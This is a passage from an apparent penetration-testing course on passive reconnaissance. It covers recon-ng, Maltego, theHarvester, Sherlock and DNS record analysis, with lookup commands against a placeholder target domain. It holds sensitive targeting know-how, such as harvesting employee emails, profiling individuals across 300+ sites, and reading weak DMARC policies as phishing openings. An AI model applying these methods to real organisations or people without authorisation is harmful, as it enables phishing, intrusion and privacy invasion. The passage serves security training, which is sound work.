&lt;td&gt;Domain&lt;/td&gt;
&lt;td&gt;Subdomains from CT logs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;recon/domains-hosts/shodan_hostname&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Domain&lt;/td&gt;
&lt;td&gt;IPs and ports from Shodan&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;recon/domains-hosts/brute_hosts&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Domain&lt;/td&gt;
&lt;td&gt;Subdomain brute force&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;recon/domains-contacts/hunter_io&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Domain&lt;/td&gt;
&lt;td&gt;Email addresses&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;recon/contacts-credentials/hibp_breach&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Email&lt;/td&gt;
&lt;td&gt;Breach data&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;recon/hosts-ports/shodan_ip&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;IP Address&lt;/td&gt;
&lt;td&gt;Open ports from Shodan&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;recon/netblocks-companies/whois_orgs&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Netblock&lt;/td&gt;
&lt;td&gt;Organization info&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;recon/companies-multi/whois_miner&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Company&lt;/td&gt;
&lt;td&gt;All WHOIS data&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;recon/profiles-profiles/linkedin_auth&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;LinkedIn URL&lt;/td&gt;
&lt;td&gt;Profile details&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;recon-ng API Key Setup:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;recon-ng requires API keys for many of its most powerful modules:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;keys add shodan_api &lt;span class="o"&gt;[&lt;/span&gt;YOUR_KEY]
keys add hunter_api &lt;span class="o"&gt;[&lt;/span&gt;YOUR_KEY]
keys add virustotal_api &lt;span class="o"&gt;[&lt;/span&gt;YOUR_KEY]
keys add censys_id &lt;span class="o"&gt;[&lt;/span&gt;YOUR_ID]
keys add censys_secret &lt;span class="o"&gt;[&lt;/span&gt;YOUR_SECRET]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h4&gt;
  
  
  Maltego
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Website:&lt;/strong&gt; &lt;a href="https://www.maltego.com/" rel="noopener noreferrer"&gt;https://www.maltego.com/&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Type:&lt;/strong&gt; Visual intelligence and link analysis platform&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Cost:&lt;/strong&gt; Community (free, limited), Pro ($999/year), Enterprise&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; Cross-platform (Windows, macOS, Linux)&lt;/p&gt;

&lt;p&gt;Maltego is the industry-standard tool for visual OSINT analysis and link analysis. Unlike CLI tools, Maltego presents intelligence graphically — as a network graph showing relationships between entities (people, organizations, domains, IPs, emails, social profiles).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why Maltego is used at the enterprise level:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Visual relationship mapping:&lt;/strong&gt; Instantly reveals connections between entities that would take hours to identify in text-based tools&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Transform-based automation:&lt;/strong&gt; "Transforms" are automated queries that expand the graph with new intelligence&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Maltego Transform Hub:&lt;/strong&gt; Marketplace of transforms from commercial data providers (Shodan, Have I Been Pwned, VirusTotal, etc.)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Collaboration:&lt;/strong&gt; Teams can share investigation graphs&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Evidence preservation:&lt;/strong&gt; The graph is a defensible record of the investigation methodology&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Core Maltego Entity Types:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Person, EmailAddress, PhoneNumber, Organization
Domain, URL, Website, DNSName, NSRecord, MXRecord
IPv4Address, Netblock, ASNumber
Social media profiles (Twitter, LinkedIn, Facebook)
File, Document, Phrase
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Professional Maltego Workflow:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Add seed entity (e.g., &lt;code&gt;targetco.com&lt;/code&gt; as a Domain entity)&lt;/li&gt;
&lt;li&gt;Run DNS transforms → discovers A, MX, NS records + IP addresses&lt;/li&gt;
&lt;li&gt;Run WHOIS transforms → discovers registrant info&lt;/li&gt;
&lt;li&gt;Run SSL transforms → discovers Subject Alternative Names (new subdomains)&lt;/li&gt;
&lt;li&gt;Run email transforms → discovers email addresses (via Hunter.io, etc.)&lt;/li&gt;
&lt;li&gt;Run breach transforms → checks emails against HaveIBeenPwned&lt;/li&gt;
&lt;li&gt;Run social media transforms → finds LinkedIn/Twitter profiles&lt;/li&gt;
&lt;li&gt;Run Shodan transforms → enriches IP data with port/service information&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The result is a comprehensive, visual map of the target's entire digital presence and the relationships between all discovered entities.&lt;/p&gt;




&lt;h4&gt;
  
  
  theHarvester
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;GitHub:&lt;/strong&gt; &lt;a href="https://github.com/laramies/theHarvester" rel="noopener noreferrer"&gt;https://github.com/laramies/theHarvester&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Type:&lt;/strong&gt; Email and subdomain harvester&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Cost:&lt;/strong&gt; Free / Open-source&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; Linux (included in Kali Linux)&lt;/p&gt;

&lt;p&gt;theHarvester is one of the oldest and most reliable passive reconnaissance tools. Its specific focus is gathering email addresses, subdomains, and employee names from multiple public data sources.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Data Sources Supported:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Source&lt;/th&gt;
&lt;th&gt;What it Finds&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Google&lt;/td&gt;
&lt;td&gt;Emails, subdomains, hosts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Bing&lt;/td&gt;
&lt;td&gt;Emails, subdomains, hosts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DuckDuckGo&lt;/td&gt;
&lt;td&gt;Emails, hosts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LinkedIn&lt;/td&gt;
&lt;td&gt;Employee names&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Twitter&lt;/td&gt;
&lt;td&gt;Usernames, emails&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Shodan&lt;/td&gt;
&lt;td&gt;Hosts, open ports&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CertSpotter&lt;/td&gt;
&lt;td&gt;Subdomains via CT logs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DNSdumpster&lt;/td&gt;
&lt;td&gt;DNS info, subdomains&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Netcraft&lt;/td&gt;
&lt;td&gt;Subdomains&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;VirusTotal&lt;/td&gt;
&lt;td&gt;Subdomains&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hunter.io&lt;/td&gt;
&lt;td&gt;Emails&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Intelx&lt;/td&gt;
&lt;td&gt;Emails, hosts (requires API key)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Usage:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Basic domain email and subdomain harvest&lt;/span&gt;
theHarvester &lt;span class="nt"&gt;-d&lt;/span&gt; targetco.com &lt;span class="nt"&gt;-b&lt;/span&gt; all

&lt;span class="c"&gt;# Specific data sources&lt;/span&gt;
theHarvester &lt;span class="nt"&gt;-d&lt;/span&gt; targetco.com &lt;span class="nt"&gt;-b&lt;/span&gt; google,linkedin,shodan

&lt;span class="c"&gt;# Limit results and save to file&lt;/span&gt;
theHarvester &lt;span class="nt"&gt;-d&lt;/span&gt; targetco.com &lt;span class="nt"&gt;-b&lt;/span&gt; all &lt;span class="nt"&gt;-l&lt;/span&gt; 500 &lt;span class="nt"&gt;-f&lt;/span&gt; /tmp/harvest_results.html

&lt;span class="c"&gt;# Include subdomains in search&lt;/span&gt;
theHarvester &lt;span class="nt"&gt;-d&lt;/span&gt; targetco.com &lt;span class="nt"&gt;-b&lt;/span&gt; all &lt;span class="nt"&gt;-s&lt;/span&gt;

&lt;span class="c"&gt;# Specify virtual host verification&lt;/span&gt;
theHarvester &lt;span class="nt"&gt;-d&lt;/span&gt; targetco.com &lt;span class="nt"&gt;-b&lt;/span&gt; all &lt;span class="nt"&gt;-v&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;What theHarvester Discovers:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[*] Emails found: 23
--------------------------------------------------
j.smith@targetco.com
a.johnson@targetco.com
m.williams@targetco.com
security@targetco.com
admin@targetco.com

[*] Hosts found: 47
--------------------------------------------------
mail.targetco.com:203.0.113.10
vpn.targetco.com:203.0.113.15
dev.targetco.com:10.0.1.100  ← Shadow IT discovery
staging.targetco.com:203.0.113.20  ← Pre-production environment
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The discovery of &lt;code&gt;dev.targetco.com&lt;/code&gt; and &lt;code&gt;staging.targetco.com&lt;/code&gt; — development and staging servers — is one of the most valuable passive recon findings. These environments frequently have weaker security controls than production systems.&lt;/p&gt;




&lt;h4&gt;
  
  
  Sherlock
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;GitHub:&lt;/strong&gt; &lt;a href="https://github.com/sherlock-project/sherlock" rel="noopener noreferrer"&gt;https://github.com/sherlock-project/sherlock&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Type:&lt;/strong&gt; Username cross-platform search tool&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Cost:&lt;/strong&gt; Free / Open-source&lt;/p&gt;

&lt;p&gt;Sherlock searches for a specific username across &lt;strong&gt;300+ social media platforms and websites&lt;/strong&gt; simultaneously. This is invaluable for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Finding all public profiles associated with an employee's known username&lt;/li&gt;
&lt;li&gt;Identifying personal accounts that may disclose sensitive information&lt;/li&gt;
&lt;li&gt;Building a complete social profile of a target individual
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Install&lt;/span&gt;
pip3 &lt;span class="nb"&gt;install &lt;/span&gt;sherlock-project

&lt;span class="c"&gt;# Search for username&lt;/span&gt;
sherlock johndoe_security

&lt;span class="c"&gt;# Multiple usernames&lt;/span&gt;
sherlock johndoe johndoe_security j.doe

&lt;span class="c"&gt;# Specify output file&lt;/span&gt;
sherlock johndoe &lt;span class="nt"&gt;--output&lt;/span&gt; /tmp/johndoe_results.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  hacker.org
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Website:&lt;/strong&gt; &lt;a href="https://hacker.org/" rel="noopener noreferrer"&gt;https://hacker.org/&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Type:&lt;/strong&gt; Cybersecurity skill development platform / CTF-style challenges&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Cost:&lt;/strong&gt; Free (registration required for challenges)&lt;/p&gt;

&lt;p&gt;hacker.org is a training and practice platform designed for developing offensive security skills through hands-on challenges. It is categorized as a skill development resource rather than an OSINT data source, but it is relevant to the information gathering module because it develops the analytical and technical thinking required for reconnaissance.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What hacker.org offers:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Programming challenges:&lt;/strong&gt; Logic and algorithm problems requiring code solutions&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cryptography challenges:&lt;/strong&gt; Breaking and implementing cryptographic systems&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Web security challenges:&lt;/strong&gt; Finding and exploiting web vulnerabilities in safe, legal environments&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Network analysis challenges:&lt;/strong&gt; Analyzing packet captures and network protocols&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Steganography challenges:&lt;/strong&gt; Finding hidden data in images and files&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CTF-style progressions:&lt;/strong&gt; Increasing difficulty levels that build systematically on each other&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;How it builds reconnaissance skills:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Many reconnaissance techniques require exactly the analytical skills developed on hacker.org:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Identifying hidden information in files and images (steganography → file metadata analysis)&lt;/li&gt;
&lt;li&gt;Understanding cryptographic weaknesses (crypto challenges → SSL/TLS vulnerability identification)&lt;/li&gt;
&lt;li&gt;Finding information in unexpected places (web challenges → advanced Google dorking)&lt;/li&gt;
&lt;li&gt;Scripting and automation (programming challenges → automated OSINT tool development)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Professional positioning:&lt;/strong&gt; hacker.org and similar platforms (Hack The Box, TryHackMe, PicoCTF) are increasingly referenced in job interviews as evidence of hands-on skill development.&lt;/p&gt;


&lt;h3&gt;
  
  
  3.1.5 DNS Lookups — Deep Dive
&lt;/h3&gt;

&lt;p&gt;The Domain Name System (DNS) is one of the most information-rich sources available during passive reconnaissance. DNS records publicly document an organization's infrastructure in ways most organizations do not fully appreciate.&lt;/p&gt;
&lt;h4&gt;
  
  
  DNS Fundamentals — What Every Senior Penetration Tester Must Know
&lt;/h4&gt;

&lt;p&gt;DNS translates human-readable domain names into machine-readable IP addresses. But its function extends far beyond simple name resolution — it is a distributed database containing multiple record types that reveal extensive infrastructure intelligence.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DNS Architecture:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Client Query: "What is the IP of www.targetco.com?"

Resolver (Recursive DNS Server)
    ↓ (queries if not cached)
Root Name Server → "Ask .com TLD servers"
    ↓
.com TLD Server → "Ask targetco.com's authoritative name servers"
    ↓
Authoritative NS for targetco.com → "203.0.113.50"
    ↓
Answer returned to client: 203.0.113.50
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Intelligence value at each layer:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Root server queries:&lt;/strong&gt; Reveal what TLD the organization uses (.com, .gov, .mil, .co.uk — indicates jurisdiction)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Authoritative name servers:&lt;/strong&gt; Reveal DNS hosting provider (AWS Route 53, Cloudflare, GoDaddy — intelligence about infrastructure providers)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;DNS record types:&lt;/strong&gt; Each type reveals specific infrastructure details&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Complete DNS Record Type Reference
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;A Record (Address Record)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Maps a hostname to an IPv4 address. The most fundamental DNS record.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Query A record&lt;/span&gt;
dig targetco.com A
nslookup targetco.com

&lt;span class="c"&gt;# Response&lt;/span&gt;
targetco.com.    300    IN    A    203.0.113.50
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Intelligence value:&lt;/strong&gt; &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The IP address enables further intelligence gathering (Shodan, WHOIS for the IP, geolocation)&lt;/li&gt;
&lt;li&gt;The TTL (Time To Live, in seconds — here: 300 seconds = 5 minutes) reveals caching behavior; very low TTLs suggest load balancing or CDN use; very high TTLs suggest static infrastructure&lt;/li&gt;
&lt;li&gt;Multiple A records for the same hostname indicate load balancing or CDN&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;AAAA Record (IPv6 Address Record)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Maps a hostname to an IPv6 address. Organizations increasingly deploy IPv6, and IPv6 addresses are often less well-monitored than IPv4.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;dig targetco.com AAAA
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Intelligence value:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;IPv6 often reveals direct IP addresses even when IPv4 is behind a CDN (like Cloudflare)&lt;/li&gt;
&lt;li&gt;IPv6 address blocks often reveal the organization's ISP or hosting provider&lt;/li&gt;
&lt;li&gt;Organizations frequently apply less rigorous security controls to IPv6 paths&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;MX Record (Mail Exchanger Record)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Specifies the mail servers responsible for accepting email for a domain.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;dig targetco.com MX

&lt;span class="c"&gt;# Response&lt;/span&gt;
targetco.com.    3600    IN    MX    10    mail1.targetco.com.
targetco.com.    3600    IN    MX    20    mail2.targetco.com.
targetco.com.    3600    IN    MX    30    aspmx.l.google.com.   ← G Suite!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Intelligence value:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Reveals email provider (Google Workspace, Microsoft 365, self-hosted Exchange)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Google Workspace indicators:&lt;/strong&gt; &lt;code&gt;aspmx.l.google.com&lt;/code&gt;, &lt;code&gt;alt1.aspmx.l.google.com&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Microsoft 365 indicators:&lt;/strong&gt; &lt;code&gt;targetco-com.mail.protection.outlook.com&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Self-hosted Exchange:&lt;/strong&gt; Typically a subdomain like &lt;code&gt;mail.targetco.com&lt;/code&gt; pointing to a corporate IP&lt;/li&gt;
&lt;li&gt;Email platform reveals authentication methods, phishing opportunities, and password spray targets&lt;/li&gt;
&lt;li&gt;Backup MX records (lower priority, higher number) sometimes point to less-secure mail relay servers&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;NS Record (Name Server Record)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Identifies the authoritative DNS servers for a domain.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;dig targetco.com NS

&lt;span class="c"&gt;# Response&lt;/span&gt;
targetco.com.    86400    IN    NS    ns1.targetco.com.
targetco.com.    86400    IN    NS    ns2.targetco.com.

&lt;span class="c"&gt;# OR (revealing DNS hosting provider)&lt;/span&gt;
targetco.com.    86400    IN    NS    ns-1234.awsdns-12.com.     ← AWS Route 53
targetco.com.    86400    IN    NS    ns-5678.awsdns-34.co.uk.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Intelligence value:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Reveals DNS hosting provider (AWS Route 53, Cloudflare, Azure DNS, Google Cloud DNS)&lt;/li&gt;
&lt;li&gt;Self-hosted NS records (ns1.targetco.com) reveal additional IP addresses to investigate&lt;/li&gt;
&lt;li&gt;DNS provider may have security implications (DNS hijacking attacks target specific providers)&lt;/li&gt;
&lt;li&gt;Cloudflare NS records often mean IPv4 addresses are proxied/hidden&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;SOA Record (Start of Authority)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Contains administrative information about a DNS zone, including the primary name server and the email address of the zone administrator.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;dig targetco.com SOA

&lt;span class="c"&gt;# Response&lt;/span&gt;
targetco.com.    3600    IN    SOA    ns1.targetco.com. dnsadmin.targetco.com. &lt;span class="o"&gt;(&lt;/span&gt;
                                      2024010101  &lt;span class="p"&gt;;&lt;/span&gt; Serial
                                      3600        &lt;span class="p"&gt;;&lt;/span&gt; Refresh
                                      900         &lt;span class="p"&gt;;&lt;/span&gt; Retry
                                      604800      &lt;span class="p"&gt;;&lt;/span&gt; Expire
                                      300 &lt;span class="o"&gt;)&lt;/span&gt;       &lt;span class="p"&gt;;&lt;/span&gt; Minimum TTL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Intelligence value:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;dnsadmin.targetco.com&lt;/code&gt; — The second field is the DNS administrator's email address (replace the first &lt;code&gt;.&lt;/code&gt; with &lt;code&gt;@&lt;/code&gt;): &lt;code&gt;dnsadmin@targetco.com&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;This is a direct email address for a technical administrator&lt;/li&gt;
&lt;li&gt;Serial number format often reveals the last update date (common format: YYYYMMDDNN)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;TXT Record (Text Record)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A versatile record type containing arbitrary text. Used for numerous verification and configuration purposes.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;dig targetco.com TXT

&lt;span class="c"&gt;# Common responses&lt;/span&gt;
targetco.com.    3600    IN    TXT    &lt;span class="s2"&gt;"v=spf1 include:_spf.google.com include:sendgrid.net ip4:203.0.113.50 ~all"&lt;/span&gt;
targetco.com.    3600    IN    TXT    &lt;span class="s2"&gt;"MS=ms12345678"&lt;/span&gt;
targetco.com.    3600    IN    TXT    &lt;span class="s2"&gt;"google-site-verification=AbCdEfGhIjKlMnOpQrStUvWxYz"&lt;/span&gt;
targetco.com.    3600    IN    TXT    &lt;span class="s2"&gt;"atlassian-domain-verification=AbCdEf12345"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Intelligence value — TXT records are a goldmine:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;TXT Record Content&lt;/th&gt;
&lt;th&gt;Intelligence Revealed&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;v=spf1 include:_spf.google.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Uses Google Workspace for email&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;v=spf1 include:sendgrid.net&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Uses SendGrid for marketing emails&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;v=spf1 include:_spf.salesforce.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Uses Salesforce (email integration)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;v=spf1 ip4:203.0.113.50&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Mail server IP (direct IP revelation)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;MS=ms12345678&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Microsoft 365 domain verification — organization is on Microsoft 365&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;google-site-verification=...&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Google Search Console verification — uses Google services&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;atlassian-domain-verification=...&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Uses Atlassian products (Jira, Confluence, Bitbucket)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;docusign=...&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Uses DocuSign for e-signatures&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;stripe-verification=...&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Uses Stripe for payments (financial data!)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;facebook-domain-verification=...&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Facebook/Meta advertising integration&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;_dmarc&lt;/code&gt; (separate record)&lt;/td&gt;
&lt;td&gt;DMARC policy (reveals email security posture)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;DMARC Record:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;dig _dmarc.targetco.com TXT

&lt;span class="c"&gt;# Response options&lt;/span&gt;
&lt;span class="s2"&gt;"v=DMARC1; p=none; rua=mailto:dmarc@targetco.com"&lt;/span&gt;    ← No enforcement &lt;span class="o"&gt;(&lt;/span&gt;easy phishing&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="s2"&gt;"v=DMARC1; p=quarantine; ..."&lt;/span&gt;                          ← Moderate protection
&lt;span class="s2"&gt;"v=DMARC1; p=reject; ..."&lt;/span&gt;                              ← Strong protection

&lt;span class="c"&gt;# p=none means phishing emails spoofing @targetco.com will be DELIVERED&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;DMARC intelligence:&lt;/strong&gt; &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;p=none&lt;/code&gt; — The organization does not enforce DMARC. Spoofed emails using their domain will be delivered to recipients. Directly relevant to phishing pre-text design.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;rua&lt;/code&gt; (reporting URI) reveals an email address for DMARC reports — a real internal email address.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;SPF Record Analysis:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
